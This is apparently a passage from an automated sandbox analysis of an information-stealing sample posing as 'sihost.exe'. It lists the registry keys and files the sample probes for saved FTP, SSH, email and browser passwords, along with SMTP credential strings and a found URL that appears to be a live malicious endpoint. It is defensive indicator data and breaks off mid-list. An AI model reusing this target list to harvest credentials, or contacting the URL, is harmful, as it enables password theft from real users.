40723-783-00409182 "Software\VanDyke\SecureFX" in Source: 40723-708-00410396 "Software\IncrediMail\Identities" in Source: 40723-371-0040CFF8 "Software\Martin Prikryl" in Source: 40723-417-00410AA9 "SOFTWARE\Microsoft\Cryptography" in Source: 40723-63-004065A2 "SOFTWARE\Apple Computer, Inc.\Safari" in Source: 40723-362-0040C9C2 "Software\NCH Software\Fling\Accounts" in Source: 40723-396-0040F32E "SOFTWARE\Mozilla\Waterfox" in Source: 40723-787-00409CAE "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook" in Source: 40723-770-0040D6BD "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook" in Source: 40723-770-0040D6BD "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook" in Source: 40723-770-0040D6BD "Software\9bis.com\KiTTY\Sessions" in Source: 40723-401-0040F775 "Software\SimonTatham\PuTTY\Sessions" in Source: 40723-401-0040F775 "Software\Microsoft\Internet Explorer\IntelliForms\Storage2" in Source: 40723-334-00408862 "Software\FlashPeak\BlazeFtp\Settings" in Source: 40723-385-0040E97C "%s\INSoftware\NovaFTP\NovaFTP.db" in Source: 40723-698-0040F72A "Software\Bitvise\BvSshClient" in Source: 40723-671-0040E90D "\Opera Software\Opera Stable" in Source: 40723-316-00407D6E "SOFTWARE\Mozilla\Mozilla Thunderbird" in Source: 40723-767-00409C3A "SOFTWARE\Postbox\Postbox" in Source: 40723-764-00409A03 "Software\Microsoft\Internet Explorer\TypedURLs" in Source: 40723-332-00408749 "SOFTWARE\ComodoGroup\IceDragon\Setup" in Source: 40723-514-004091FC "SOFTWARE\Mozilla\Flock" in Source: 40723-509-00409115 "SOFTWARE\Flock\Flock" in Source: 40723-509-00409115 "Software\LinasFTP\Site Manager" in Source: 40723-399-0040F56D "SOFTWARE\Mozilla\Mozilla Firefox" in Source: 40723-349-004092CC "Software\Ghisler\Total Commander" in Source: 40723-720-00410A3D "Software\QtWeb.NET\QtWeb Internet Browser\AutoComplete" in Source: 40723-358-0040C5DF "SOFTWARE\mozilla.org\SeaMonkey" in Source: 40723-354-00409A77 "SOFTWARE\Mozilla\SeaMonkey" in Source: 40723-354-00409A77 "Software\Far\Plugins\FTP\Hosts" in Source: 40723-772-0040F0BF "Software\Far2\Plugins\FTP\Hosts" in Source: 40723-772-0040F0BF "Software\NCH Software\ClassicFTP\FTPAccounts" in Source: 40723-387-0040EB53 "SOFTWARE\K-Meleon" in Source: 40723-785-0040922A "SOFTWARE\8pecxstudios\Cyberfox86" in Source: 40723-508-004090B2 "SOFTWARE\8pecxstudios\Cyberfox" in Source: 40723-508-004090B2 "ftware\NCH Software\ClassicFTP\FTPAccounts" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp "ware\NCH Software\Fling\Accounts" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp "SOFTWARE\Microsoft\CryptographyA" in Source: 00000000-00003192.00000000.67782.00246000.00000040.mdmp 00000000-00003192.00000002.71621.00246000.00000040.mdmp 00000000-00003192.00000003.72568.00246000.00000040.mdmp "\Opera Software\Opera Stable" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Microsoft\Internet Explorer\IntelliForms\Storage2" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Microsoft\Internet Explorer\TypedURLs" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Mozilla\Mozilla Firefox" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Mozilla\Mozilla Thunderbird" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Mozilla\FossaMail" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Postbox\Postbox" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Mozilla\Flock" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Flock\Flock" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Mozilla\Pale Moon" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\K-Meleon" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\ComodoGroup\IceDragon\Setup" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\8pecxstudios\Cyberfox86" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\8pecxstudios\Cyberfox" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\mozilla.org\SeaMonkey" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Mozilla\SeaMonkey" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Mozilla\Waterfox" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\QtWeb.NET\QtWeb Internet Browser\AutoComplete" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Apple Computer, Inc.\Safari" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\IncrediMail\Identities" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Bitvise\BvSshClient" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\FlashPeak\BlazeFtp\Settings" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\NCH Software\ClassicFTP\FTPAccounts" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Far\Plugins\FTP\Hosts" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Far2\Plugins\FTP\Hosts" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\NCH Software\Fling\Accounts" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\LinasFTP\Site Manager" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "%s\INSoftware\NovaFTP\NovaFTP.db" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\9bis.com\KiTTY\Sessions" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\SimonTatham\PuTTY\Sessions" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\VanDyke\SecureFX" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Ghisler\Total Commander" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Martin Prikryl" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp2a:T70c,"sihost.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLEAUT"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "sihost.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "")2b:Tab0,"sihost.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "SIHOST"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SQMCLIENT\WINDOWS"; Key: "CEIPENABLE"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "")2c:T733,"sihost.exe" trying to touch file "C:\Program Files\Automize13\encPwd.jsd" "sihost.exe" trying to touch file "C:\Program Files\Automize13\data\settings\ftpProfiles-j.jsd" "sihost.exe" trying to touch file "C:\Program Files\Automize14\encPwd.jsd" "sihost.exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" "sihost.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "sihost.exe" trying to touch file "C:\Users\u1gxIGR\AppData\Roaming\Cyberduck" "sihost.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "sihost.exe" trying to touch file "C:\Users\%OSUSER%" "sihost.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "sihost.exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" "sihost.exe" trying to touch file "C:\Users\u1gxIGR\AppData\Roaming\FTPInfo\ServerList.xml" "sihost.exe" trying to touch file "C:\Program Files\FileZilla\Filezilla.xml" "sihost.exe" trying to touch file "C:\Users\u1gxIGR\AppData\Roaming\FileZilla\filezilla.xml" "sihost.exe" trying to touch file "C:\Users\u1gxIGR\AppData\Roaming\FileZilla\recentservers.xml" "sihost.exe" trying to touch file "C:\Users\u1gxIGR\AppData\Roaming\FileZilla\sitemanager.xml" "sihost.exe" trying to touch file "C:\msimg32.dll" "sihost.exe" trying to touch file "C:\Windows\system32\msimg32.dll" "sihost.exe" trying to touch file "C:\Users\u1gxIGR\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat" "sihost.exe" trying to touch file "C:\Program Files\DeluxeFTP\sites.xml" "sihost.exe" trying to touch file "C:\Windows" "sihost.exe" trying to touch file "C:\Windows\system32\rsaenh.dll" "sihost.exe" trying to touch file "C:\CRYPTBASE.dll" "sihost.exe" trying to touch file "C:\Windows\system32\CRYPTBASE.dll" "sihost.exe" trying to touch file "C:\Users\u1gxIGR\AppData\Roaming\wcx_ftp.ini"2d:T820,"sihost.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "sihost.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "sihost.exe" trying to access non-existent file "C:\msimg32.dll" "sihost.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "sihost.exe" trying to access non-existent file "C:\dbghelp.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-string-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-stdio-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-convert-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-locale-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-math-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-multibyte-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-time-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-filesystem-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-environment-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\api-ms-win-crt-utility-l1-1-0.dll" "sihost.exe" trying to access non-existent file "C:\WINMM.dll" "sihost.exe" trying to access non-existent file "C:\WSOCK32.dll" "sihost.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-obsolete-l1-2-0.DLL"2e:T9ba,"sihost.exe" trying to access non-existent file "C:\Users\u1gxIGR\AppData\Roaming\Cyberduck" "sihost.exe" trying to access non-existent file "C:\Users\u1gxIGR\AppData\Roaming\wcx_ftp.ini" "sihost.exe" trying to access non-existent file "C:\Windows\WS_FTP.INI" "sihost.exe" trying to access non-existent file "C:\Users\u1gxIGR\AppData\Roaming\Ipswitch" "sihost.exe" trying to access non-existent file "C:\Users\%OSUSER%\site.xml" "sihost.exe" trying to access non-existent file "C:\Users\u1gxIGR\AppData\Local\ExpanDrive" "sihost.exe" trying to access non-existent file "C:\Users\u1gxIGR\AppData\Roaming\FlashFXP" "sihost.exe" trying to access non-existent file "C:\ProgramData\FlashFXP" "sihost.exe" trying to access non-existent file "C:\Users\%OSUSER%\wcx_ftp.ini" "sihost.exe" trying to access non-existent file "C:\Users\u1gxIGR\Documents\mSecure" "sihost.exe" trying to access non-existent file "C:\ProgramData\Syncovery" "sihost.exe" trying to access non-existent file "C:\Windows\32BitFtp.ini" "sihost.exe" trying to access non-existent file "C:\Users\u1gxIGR\Documents\SuperPutty" "sihost.exe" trying to access non-existent file "C:\Users\u1gxIGR\AppData\Roaming\SftpNetDrive" "sihost.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS.SQLITE" "sihost.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\LOGINS.JSON" "sihost.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS.TXT" "sihost.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS2.TXT" "sihost.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS3.TXT" "sihost.exe" trying to access non-existent file "C:\Users\u1gxIGR\AppData\Roaming\iterate_GmbH" "sihost.exe" trying to access non-existent file "C:\Users\u1gxIGR\Documents\My RoboForm Data" "sihost.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2092356043-4041700817-663127204-1001\7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b" "sihost.exe" trying to access non-existent file "C:\Windows\wcx_ftp.ini"2f:T4e1,Found string "SmtpServer" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "SmtpPort" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "SmtpAccount" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "SmtpPassword" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "SMTP Email Address" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "SMTP Server" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "SMTP User Name" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "SMTP User" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "SMTP Port" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "SMTP Password2" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "SMTP Password" (Indicator: "smtp"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp")30:Td86,Found URL "http://s" - Source: "00000000-00003192.00000000.67782.00246000.00000040.mdmp") Found URL "ftp://ftp://ftps://http://https://" - Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found URL "http://https://machineguidsoftware\microsoft\cryptographyldrgetprocedureaddressrtlntstatustodoserrorrtlsetlastwin32errorzwqueryinformationprocessrtlcreateuserthreadzwallocatevirtualmemoryntfreevirtualmemoryntwritevirtualmemoryzwreadvirtualmemoryzwresumethreadlast_compatible_versionpassword_valueusername_valueorigin_urlloginsvaultenumerateitemsvaultenumeratevaultsvaultfreevaultgetitemvaultopenvaultvaultclosevaultselect" - Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found URL "http://www.ibsensoftware.com/" - Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found URL "ftp://ftp://ftps://http://https://" - Source: "00000000-00003192.00000000.67782.007D0000.00000040.mdmp") Found URL "http://https://machineguidsoftware\microsoft\cryptographyldrgetprocedureaddressrtlntstatustodoserrorrtlsetlastwin32errorzwqueryinformationprocessrtlcreateuserthreadzwallocatevirtualmemoryntfreevirtualmemoryntwritevirtualmemoryzwreadvirtualmemoryzwresumethreadlast_compatible_versionpassword_valueusername_valueorigin_urlloginsvaultenumerateitemsvaultenumeratevaultsvaultfreevaultgetitemvaultopenvaultvaultclosevaultselect" - Source: "00000000-00003192.00000000.67782.007D0000.00000040.mdmp") Found URL "http://www.ibsensoftware.com/" - Source: "00000000-00003192.00000000.67782.007D0000.00000040.mdmp") Found URL "ftp://ftp://ftps://http://https://" - Source: "00000000-00003192.00000001.69702.00400000.00000040.mdmp") Found URL "http://https://machineguidsoftware\microsoft\cryptographyldrgetprocedureaddressrtlntstatustodoserrorrtlsetlastwin32errorzwqueryinformationprocessrtlcreateuserthreadzwallocatevirtualmemoryntfreevirtualmemoryntwritevirtualmemoryzwreadvirtualmemoryzwresumethreadlast_compatible_versionpassword_valueusername_valueorigin_urlloginsvaultenumerateitemsvaultenumeratevaultsvaultfreevaultgetitemvaultopenvaultvaultclosevaultselect" - Source: "00000000-00003192.00000001.69702.00400000.00000040.mdmp") Found URL "http://www.ibsensoftware.com/" - Source: "00000000-00003192.00000001.69702.00400000.00000040.mdmp") Found URL "http://s" - Source: "00000000-00003192.00000002.71621.00246000.00000040.mdmp") Found URL "https://sempersim.su/a12/fre.phpcommonprogramfiles=c:\program" - Source: "00000000-00003192.00000002.71621.00259000.00000004.mdmp") Found URL "http://s" - Source: 